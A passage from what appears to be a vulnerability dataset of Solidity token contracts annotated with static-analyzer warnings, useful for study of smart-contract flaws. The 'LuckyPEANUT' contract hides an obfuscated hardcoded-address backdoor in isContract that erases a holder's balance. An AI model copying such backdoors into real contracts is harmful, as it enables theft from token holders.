reentrancy-events | ID: fb51fc0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: fb51fc0\n\t\t// reentrancy-events | ID: fc6b6ed\n\t\t// reentrancy-benign | ID: 9a8b0bc\n\t\t// reentrancy-eth | ID: 2bdabbf\n\t\t// reentrancy-eth | ID: 7f57883\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: bb8f834): Alfie.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for bb8f834: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: fb51fc0\n\t\t// reentrancy-events | ID: fc6b6ed\n\t\t// reentrancy-eth | ID: 2bdabbf\n\t\t// reentrancy-eth | ID: 7f57883\n\t\t// arbitrary-send-eth | ID: bb8f834\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: fcc505a): Alfie.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for fcc505a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: fcc505a\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 533e95f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 533e95f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 80bc7ad): Alfie.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 80bc7ad: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 155e12c): Alfie.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 155e12c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d9fe019): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d9fe019: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 533e95f\n\t\t// unused-return | ID: 155e12c\n\t\t// reentrancy-eth | ID: d9fe019\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 533e95f\n\t\t// unused-return | ID: 80bc7ad\n\t\t// reentrancy-eth | ID: d9fe019\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 533e95f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d9fe019\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 533e95f\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10763.sol",
"size_bytes": 23076,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract GSI6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExcludedFromFee;\n\n mapping(address => bool) public marketPair;\n\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: cfc34ad): GSI6900._initialBuyTax should be constant \n\t// Recommendation for cfc34ad: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a4e254): GSI6900._initialSellTax should be constant \n\t// Recommendation for 7a4e254: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f4f126): GSI6900._finalBuyTax should be constant \n\t// Recommendation for 4f4f126: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9dc4f66): GSI6900._finalSellTax should be constant \n\t// Recommendation for 9dc4f66: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b62690): GSI6900._reduceBuyTaxAt should be constant \n\t// Recommendation for 8b62690: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: f27b78f): GSI6900._reduceSellTaxAt should be constant \n\t// Recommendation for f27b78f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 80983b0): GSI6900._preventSwapBefore should be constant \n\t// Recommendation for 80983b0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"GSI6900\";\n\n string private constant _symbol = unicode\"GSI\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d1e653): GSI6900._taxSwapThreshold should be constant \n\t// Recommendation for 2d1e653: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal / 100 / 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 724979d): GSI6900._maxTaxSwap should be constant \n\t// Recommendation for 724979d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6fc426): GSI6900.caCount should be constant \n\t// Recommendation for a6fc426: Add the 'constant' attribute to state variables that never change.\n uint256 public caCount = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 957b655): GSI6900.caButton should be constant \n\t// Recommendation for 957b655: Add the 'constant' attribute to state variables that never change.\n bool public caButton = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x9bAfb5079eE5Fa32d96b98e782AAB574555dF928);\n\n _balances[_msgSender()] = _tTotal;\n\n isExcludedFromFee[owner()] = true;\n\n isExcludedFromFee[address(this)] = true;\n\n isExcludedFromFee[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b648d33): GSI6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b648d33: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 717fafe): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 717fafe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8b531d9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8b531d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 717fafe\n\t\t// reentrancy-benign | ID: 8b531d9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 717fafe\n\t\t// reentrancy-benign | ID: 8b531d9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ddff957): GSI6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ddff957: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8b531d9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 717fafe\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPair(address addr) public onlyOwner {\n marketPair[addr] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7be4f6b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7be4f6b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 318bde2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 318bde2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0d30e56): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0d30e56: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caButton &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caCount, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 7be4f6b\n\t\t\t\t// reentrancy-eth | ID: 318bde2\n\t\t\t\t// reentrancy-eth | ID: 0d30e56\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7be4f6b\n\t\t\t\t\t// reentrancy-eth | ID: 318bde2\n\t\t\t\t\t// reentrancy-eth | ID: 0d30e56\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 318bde2\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 318bde2\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 7be4f6b\n\t\t\t\t// reentrancy-eth | ID: 0d30e56\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7be4f6b\n\t\t\t\t\t// reentrancy-eth | ID: 0d30e56\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0d30e56\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7be4f6b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0d30e56\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0d30e56\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7be4f6b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7be4f6b\n\t\t// reentrancy-events | ID: 717fafe\n\t\t// reentrancy-benign | ID: 8b531d9\n\t\t// reentrancy-eth | ID: 318bde2\n\t\t// reentrancy-eth | ID: 0d30e56\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function excludeAddr(address addr, bool exempt) external onlyOwner {\n isExcludedFromFee[addr] = exempt;\n }\n\n function freeStuckEth() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2b47e5e): GSI6900.rescueAnyERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 2b47e5e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueAnyERC20Tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 2b47e5e\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ccb466e): GSI6900.setFeeWallet(address).newTaxWallet lacks a zerocheck on \t _taxWallet = address(newTaxWallet)\n\t// Recommendation for ccb466e: Check that the address is not zero.\n function setFeeWallet(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: ccb466e\n _taxWallet = payable(newTaxWallet);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6a240d9): GSI6900.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6a240d9: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7be4f6b\n\t\t// reentrancy-events | ID: 717fafe\n\t\t// reentrancy-eth | ID: 318bde2\n\t\t// reentrancy-eth | ID: 0d30e56\n\t\t// arbitrary-send-eth | ID: 6a240d9\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7e02644): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7e02644: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e1b3e7e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e1b3e7e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9e0828b): GSI6900.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9e0828b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 087303c): GSI6900.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 087303c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ad1f5d5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ad1f5d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 7e02644\n\t\t// reentrancy-benign | ID: e1b3e7e\n\t\t// reentrancy-eth | ID: ad1f5d5\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e1b3e7e\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: e1b3e7e\n isExcludedFromFee[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 7e02644\n\t\t// unused-return | ID: 9e0828b\n\t\t// reentrancy-eth | ID: ad1f5d5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7e02644\n\t\t// unused-return | ID: 087303c\n\t\t// reentrancy-eth | ID: ad1f5d5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 7e02644\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ad1f5d5\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 7e02644\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10764.sol",
"size_bytes": 23276,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"LuckyPEANUT\", unicode\"LuckyPEANUT\", 9, 100000000000)\n {}\n}\n",
